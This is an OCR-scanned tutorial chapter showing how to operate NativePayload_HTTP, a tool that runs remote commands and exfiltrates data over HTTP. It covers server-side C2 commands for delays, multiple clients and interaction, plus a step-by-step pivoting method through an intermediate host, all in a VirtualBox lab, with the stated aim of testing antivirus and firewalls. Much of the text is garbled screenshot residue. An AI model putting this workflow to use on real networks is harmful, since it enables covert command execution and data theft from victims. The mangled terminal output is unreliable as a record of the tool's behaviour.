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Simple way for Data Exfiltration via HTTP Traffic (PART2)

Setting Delay by Server:

as you can see in “Picture 17, client sent Signal to Server by Random Delays, it means your clients have not same behavior to
“re-send” signals to server, for example in this case our client had these delays (51859=51 sec, 29811=29 sec and 46159=46
sec). But you can change this delay from “Random” Number to your “Static” Number, as you can see in this “Picture 1”
command “@delay 5” you can set this Delay in client-side to (5 sec) very simple also you can disable this Delay by this
command “@delay off”. always you can see delay information for each client by this command “@info”

Applications + Places ~ Terminal

root @oops: ~/Desktop/NativePayload_HTTP/After Pivot

Command Prompt - NativePayload_HTTP.exe -dumpcmd 192,

ativePayload HTTP.exe —dumpcmd 192.168.56.1 8@

shed by Damon Mohammadbagher . Jan 2019
21-02-2019.18-45-51 -B64-F-Re-> Cmd:[echo test 8]::[192.168.56.101] == test 8 a HITP traffic by Simple Web Requests . {(Client Side only}

arted (Glient Side>
-1:881

@delay 5
verbyDelay. [5]:0n - SendhyHttp Slgnal Delay.Rando 51859 1:Started [2/21/2.19 7 BE

g1
SBndhyHttp Slgnal Delay.Random:[4615% 1:8tarted [2/21/2.19 7 ns
@info s>1:Detected
ing.Cnd.output: :SendhyHttp::Delay: [?624]1:5tarted [2-21/2819 7:89:49 PM]

erer]:is lon (3pply to” L ‘clients) D45354A775 1= :SendhyHtt Weh.Request . Baseb4: [default .aspx]
N [[.7] = ! T D4579545E41 endhyHtt Heb.Request .Base64: [#default.aspx]
L nts) ASA3249685 1: :SendhyHtt Weh.Request .Base64: [~default.aspx]

is Dn Iappl', to a'Ll clients) F41::SendbyHttp::Delay: [82261::WUeh.Request.Base64: [/default .aspx]

2.168.56.101] .Checking. ServerbyDelay. [5]: 123?21 SendhyHttp Slgnal Delay.Random: [5.3.] Started E%;g};ggig
168.56.1 Sendhy“ttp Slgnal Delay Rando [2-21.201%9
168.5 SendhyHttp:Signal.Delay.Random: [5808]1:Started [2-21-2019

echo test 9 ;)

Exfiltratien listening Mode Started by apache2 Service!

21-02-2019.19-10-21 -B64-F-Re-> Cmd: [echo test 9 ;)]::[192.168.56.101] => test 9 ;}

[ )| 4]
Picture 1: setting Delay to cllents

Help command:
you can see help for “internal” commands by type “@help” commal

Applications ~ Places ~ erminal ~

101] .Checking.ServerbyDelay. [0Ff]:0Ff
Command Prompt - NativePayload_HTTP.exe -dumpcmd 192.168

eb.Request . Baseb4: L/default .aspx ]
Laspx]
aspx]

-Request -Basebad: [ /default .aspx]

SendbhyHttp:Signal.Delay. :[500@]1:Started [2-21/2019
endhyHttp:8ignal.Delay. 5088]1:Started [2,21-2019
endbyHttp:8ignal.Delay. 50881:Started [2-21-2019
endbyHttp:Signal.Delay. 5008 1:Started [2.21.,2019
ignal.Delay. 1:Started [2-21-201%
ignal.Delay. :Started [2/21/201%

eh.Request .Base64: [/default.aspx]

eh_Request .Base64: [/default . aspx]

ela eb.Request .Baseb4: [+default.aspx]

@interact B H Web.Request.Baseb4: [/default .aspx]

endhylttp gnal.Delay. :Started [2-21-201%
endhyHttp gnal.Delay. iStarted [2/21.201%
endbyHttp:Signal.Delay. :Started
. endbyHttp .Delay. Started
@clients @cli . endhyHttp .Delay. Started
- endhyHttp:8i -Delay. Started
endbyHttp:8i _Delay. Started
endbyHttp:8i _Delay. Started
endhyHttp:8i -Delay. 1:Started
- englﬁy“ttp i .Be%ay. ]:gtarteg
\ i . endbyHttp:8i _Delay. :Starte
L endbyHttp:8i _Delay. :Started
endbyHttp:Si .Delay. Started [2-21/201%
endhyHttp:8i -Delay. Started [2-21.201%
- endbyHttp:8i -Delay. Started [2/21.201%
B endbyHttp:8i _Delay. Started [2-21,2019
ehaseoion (S 1 enﬂhyHttp i _Delay. :Started [2/21./2019
etecte
tnd . output :SendbyHttp :Delay:[25681:8tarted [2,21,2019 7:12:42 PH]

23931385

)5138313 11::He
@base6doff @640ff thyHttp::Delay:[7314] -Request :[/default.aspx?uids LA@Da1313621

356 endbyHttp .Delay. 474@4]1:Started [2/21/2019
B .56 . endbyHttp .Delay. 28867 tarted [2/21/2819%
56 . endbyHttp “Delay. 328401:Started [2,/21/201%
;56 . endbyHttp “Delay. 5151@1:Started [2,/21/201%
@fheaderon @fhn 356 . endbyHttp _Delay. 56453 1:Started [2-21/2019
356 endbyttp: ‘Delay. 48286 1:Started [2/21/2019

@fheaderoff @fhf

Picture 2: NativePayload_HTTP.sh help command
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Interaction to multiple clients and commands:

in this time | want to talk about interaction with multiple clients , as you can in “Picture 3" | had two clients with “IPv4 102 and 103"
and both detected by server .in the next “Picture 4” you can see how can use interact commands.

Applications ~ Places ~ Terminal ~ Thu19:42 en~ ) O~

File View Devices

E Applications ~

HELp

“Terminal ~

File Machine View Input Machine Input

Places « Thu 19:42

@& ubuntu@ubuntu: ~
ubuntu@ubuntu:~5 ./NativePayload HTTP.sh -dumpcmd 192.168.56.1 80 0.4

root@kali: ~
i~# . /NativePayload_HTTP.sh -dumpcmd 192.168.56.1 80 0.3
NativePayload_HTTP.sh w1.4 , Published by Damon Mohammadbagher 2818-2019

Injecting/DownloadingfUploading DATA via Web/HTTP Traffic
help syntax: ./NativePayload_HTTP.sh help

NativePayload_HTTP.sh v1.4 , Published by Damon Mohammadbagher 2018-2019
Injecting/Downloading/Uploading DATA via Web/HTTP Traffic
help syntax: ./MNativePayload_HTTP.sh help

i |ls: cannot access fusr/binfcurl: Ne such file or directory

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot

eated

.conf]:Modified

ap :
.Exfiltration.Mod

.Defaultpage. [Mar“m\.\"h 1\'Lf‘d falll..a:m
.Commandpage. [/va html/g d.aspx]
.Monitoring. hg[har’flbg apache2/access. ].LEJ

J:Client.IPv4.[192.168.56.10

1:Client.IPv4.[192.168.56.102

1:Client.IPv4.[192.168.56.102]:D

1:Client.IPv4.[192.168.56.1

Picture 3: NativePayload_HTTP.sh and interacting with multiple clients

as | mentioned in “Partl” of this “chapter 12" you can use command “@clients” or “@cli” to show list of clients also you can use
“@interact Client-IPv4” or “@ Client-IPv4” to interact to Clients by IPv4 address.

Applications ~ Places ~ Terminal ~ Thu19:43

ine View Input ine View Input

E Applications ~ Places » "~Terminal ~ Thu 19:43

@™ & ubuntu@ubuntu: ~
ubuntu@ubuntu:~$ ./NativePayload HTTP.sh -dumpcmd 192.168.56.1 80 0.4

NativePayload_HTTP.sh w1.4 , Published by Damon Mohammadbagher 2818-2019
Injecting/DownloadingfUploading DATA via Web/HTTP Traffic

help syntax: ./NativePayload_HTTP.sh help

il |1s:

cannot access fusr/binfcurl: Ne such file or directory

root@oops: ~/Desktop/NativePayload_HTTP/Afte

Clients.list:Show

[Linux]

2
2-37 [Linux]

-102

t Host: 192.168.56.10

echo test 1

-2019.19 8] :Exfiltration listening Mode Started by apache2 Serwice!

-43-2

.19-43-38 ---N----> Cmd:[echo test 1]::[192.168.56.102 ] => test 1

192,108 5610 40
Picture 4: NativePayload_HTTP.sh and interacting with multiple clients

217

NativePayload_HTTP.sh v1.4 ,
Injecting/Downloading/Uploading DATA via Web/HTTP Traffic
help syntax:

root@kali: ~

-2 . /NativePayload_HTTP.sh -dumpcmd 192.168.56.1 80 0.3

Fublished by Damon Mohammadbagher 2018-2019

. /NativePayload_HTTP.sh help

I

r Pivot
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as you can see in “Picture 5”, | used “@back” command then | used “@ 192.168.56.103" to interact to second Client but you can
do this without “@back” command too, it means you can use directly “@interact IPv4” or “@ IPv4” command always.

Applications ¥ Places ~ Terminal ~ Thu19:45 W oenv W) O ~

ubuntu [Running] - Oracle VM Vi 0 kali [Running] - Ora
|
File Machine View Input Devices Help File Machine View Input Devices Help

E Applications ~ Places v "~Terminal = Thu 19:45

@™ ubuntu@ubuntu: ~ root@kali: ~

Injecting/Downloading/Uploading DATA via Web/HTTP Traffic NativePayload_HTTP.sh v1.4 ., Published by Damon Mohammadbagher 2018-2019
help syntax: ./NativePayload HTTP.sh help Injecting/Downloading/Uploading DATA via Web/HTTP Traffic

help syntax: ./NativePayload HTTP.sh help
1s: cannot access fusr/binfcurl: No such file or directory

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot

[192.168.56.102] : #gbhack

@ 192.168.56.13
[@]:Target Host is not De

[@]:Target Host: 192.168.56

echo test 2
[>]1:[21-02-2019.19-44-38] :Exfiltration listening Mode Started by apache2 Serwice

21-02-2019.19-45-13 ---N----> Cmd:[echo test 2]::[192.168.56.103 ] => test 2

Picture 5: NativePaIad_TTP.sh and interacting with multiple clients

Delays and Multiple Clients:
you can use “@delay x” command for each client separately. In the next “Pictures 6 and 7” you can see how can do this.

Applications ~ Places ~ Thu 19:46

ubuntu [Runninc VM Virtual ali [Running]
|

File Machine View Input Devices Help File Machine View Input Devices Help
E Applications ¥  Places ¥ “~Terminal ~ Thu 19:46

@™ ubuntu@ubuntu: ~ root@kali: ~

1s: cannot access fusr/binfcurl: No such file or directory

Started

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot

.19-45-13 ---N----> Cmd:[echo test 2]::[192.168.56.103 ] => test 2

58 .5 @delay 15
em.IPv4.[192.168. ) ecking.ServerbyDelay. [15]:0n
echo ops ;)
2-2019.19-46-06] : ilt listening Mode Started by apache2 Service

.19-46-21 ---N----> Cmd: [echo ops ;)]::[192.168.56.183 ] => ops ;)

[192.16 31:44
Picture 6: NativePayload_HTTP.sh and delay for multiple clients
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Applications ¥ Places ~ Terminal ¥ Thu19:47 en~v W) [ ~
ubunt inning] unning] - Orac VirtualB
File Machine View Input Devices Help I File Machine View Input Devices Help

E Applications ~ Places ~ "~Terminal ~ Thu 19:47

@™ ubuntu@ubuntu: ~ root@kali: ~

Started

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot

21-02-2019.19-46-21 ---N----> Cmd:[echo ops ;)1::[192.168.56.183 1 = ops ;)

@ 192.168.56.102
[@]:Target Host: 192.168.

58 @delay 10
IPv4.[192.16 1 erverbyDelay. [18]:0n
echo test 3
n listening Mode Started by apache2 Service!

.19-47-48 ---N----> Cmd:[echo test 3]::[192.168.56.102

Picture 7: NativePayload_HTTP.sh and delay for multiple clients
also with “@info” command you can see “activated delays” for each client.

Applications ~ Places ~ Terminal ~ Thu19:48 en~
ubunt inning] - kali [Running] - O

|
File Machine View Input Devices Help File Machine View Input Devices Help

E Applications ~ Places ¥ "~Terminal * Thu 19:48

ubuntu@ubuntu: ~ root@kali: ~

Started

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot

verbyDelay.
echo test 3

3

21-82-2019.19-47-40 ---N----> Omd:[echo test 3]::[192.168.56.102 ] == test 3
@back
@] :Server.Configuration.Ir
]:Clients.Delay.history:Show

B3] .Checking.5S
p2].Checking.

Picture 8: “@info” command and delay for multiple clients
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Exit Command for Exit Client-side tool (agent):

with “exit” command without “@” your client-side agent will exit , as you can see in “Picture 9”.
Note: with command “@exit” your server-side tool will exit.

Applications ~ Places ¥ [ Terminal ~ Thu19:50 II| w en~ ) [~

ubuntu [Running] - Oracle VM VirtualBox | kali [Running] - Oracle VM VirtualB
File Machine View Input Devices Help File Machine View Input Devices Help

E Applications ~ Places ¥ "~Terminal * Thu 19:50

" ubuntu@ubuntu: ~ root@kali: ~

root @oops: ~/Desktop/NativePayload_HTTP/After Pivot M 0

21-02-2019.19-49-22 ---N----> Cmd:[exit]::[192.168.56.102 1 => exit

21-02-2019.19-49-54 ---N---->

Picture 9: “exit” command
Pivoting,(Dumping commands output from (Pivot client) to server by (intermediate system) via indirect traffic):
Pivoting Method step by step:

stepl: Pivot-client executed [ ./NativePayload HTTP.sh -dumpcmd pivotclient ]

step2: Intermediate-system executed (client) [ ./NativePayload HTTP.sh -dumpcmd 192.168.56.1 80 0.5 ]

step3: Server executed [ ./NativePayload HTTP.sh -exfilwebserver 80 ]

step4: intermediate system ---> download Pivot-client IPv4 & command from server >>> server 192.168.56.1:80
step5: intermediate system ---> send signal “i am your intermediate system & your cmd is [???7?]” >>> Pivot-client:8080
step6: Pivot-client system ---> sned cmd output to intermediate system >>> intermediate-system:8081

step7: intermediate-system ---> send cmd output for Pivot-client to server >>> server:80

so we have something like this:; server <<----- intermediate <<----->> Pivot-client

as you can see Pivot-client will send CMD output to Intermediate-system so our server will not dump CMD output from Pivot-
client directly and it will deliver via indirect exfiltration traffic.

Note: my C# code does not support “Pivoting” feature (unfortunately) so it means you can use this feature only by two linux
systems.

Note: as you can see in the next Pictures with this command “@piv” you can use this feature.

Note: for this feature | used “python SimpleHTTPServer* and my code has “bug” unfortunately, sometimes doesn’t works very
well | will fix this in next version by migration from “python” to “apache2” ;).
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Applications ~ Places ~ i Thu 20:06

ubuntu
File Machine View Input Devices Help File Machine View Input
Applications ¥ Places = “~Terminal ~ Thu 20:06

@™ @ ubuntu@ubuntu: ~ root@kali: ~

:-# 1fconfig | grep 56
.162 Bcast:192.168.56.255 Mask:255.255.255.0 inet addr:192.168.56.103 Bcast:192.168.56.255 Mask:255.255.255.0
ubuntu@ubuntu:~$ ./NativePayload HTTP.sh -dumpcmd 192.168.56.1 80 0.4 1~# ,/NativePayload_HTTP.sh -dumpemd pivetclient

NativePayload_HTTP.sh v1.4 , Published by Damon Mohammadbagher 2018-201% NativePayload _HTTP.sh v1.4 , Published by Damon Mohammadbagher 2018-2019
Injecting/Downloading/Uploading DATA via Web/HTTP Traffic Injecting/Downloading/Uploading DATA via Web/HTTP Traffic
help syntax: ./NativePayload_HTTP.sh help help syntax: ./MativePayload HTTP.sh help

1s: cannot access fusr/bin/curl: No such file or directory [ | IE

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot

@ 192.168.56.102
:Target Host: 192.168.56.102

192.168.56.103
voting.Client.I
ivoting.info:: : t i 192.168.56.102] <<-- Client.[192.168.56.103]:Configured

test 2

ivoting.info er.[192 .56.1 ] 102] =<-- Client.[192.168.56.103].Command. [echo test 2]:Executing
:[21-02-2019.20-06-23] :Exfiltration listening Mode St ervice

Applications ~ Places ~ i Thu 20:07
ubuntu [Runnin Oracle VM Virtua kali [Running] - Oracle VM
ine View Input Devices I File Machine View Input
Applications ~ Places ~ “Terminal Thu 20:07

@@ ubuntu@ubuntu: ~ root@Kkali: ~

- . L :~# ifconfig | grep 56
1s: cannot access fusr/bin/curl: No such file or directory inet addr:192.168.56.103 Bcast:192.168.56.255 Mask:255.255.255.0
:~# . /MativePayload HTTP.sh -dumpemd pivotclient

NativePayload HTTP.sh v1.4 , Published by Damon Mohammadbagher 2018-2018
Injecting/Downloading/Uploading DATA via Web/HTTP Traffic
help syntax: E/NatlvePayIuad_HTTP.sh help

192.168
92.168.56.102] <<-- Client.[192.168.56.103]:Configured
echo

.168.56 <-- Client.[192.168.56.103] .Command. [echo test 2]:Executing
by apache2 Servic

21-02-2019.20-06-54 ---N----> Cmd: [@piv.commmand:echo test 2]::[192.168.56.103 ] => test 2 @

Picture 11: “@piv’ cmma
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Applications ~ Places » [ Terminal ~ Thu20:08
ubuntu [Running] - Oracle VM Vir tualBo:I kali [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help File Machine View Input Devices Help

Applications ¥ Places = “~Terminal ~ Thu 20:08

ubuntu@ubuntu: ~ root@kali: ~
1s: cannot access fusr/bin/curl: No such file or directory

7
root@oops: ~/Desktop/NativePayload_HTTP/After Pivot e ® 0

21-02-2019.20-06-54 ---N----> Cmd:[@

[19 6.102] : 4
Picture 12: “@piv”’ command and “@cmdlist”

at glance: as | talked in this chapter, you can use HTTP Header fields (cookie , referer and id values in “url”) for Data Exfiltration
very simply and my focus in this chapter was about HTTP Traffic and HTTP Packets so | hope these codes and methods was
useful for you to test against your AVS/Firewalls or security Monitoring tools etc.

Note: | am not Professional shell Script Programmer and perhaps my code in Server/Client-side has some bugs.
At least | know my code has bug for “Pivoting Feature”. | am sorry ;)

Note: my C# code designed for client-side only so our Server-side always is Linux based by this command
“.INativePayload_HTTP.sh -exfilwebserver”

“NativePayload_HTTP” Source: https://github.com/DamonMohammadbagher/NativePayload HTTP
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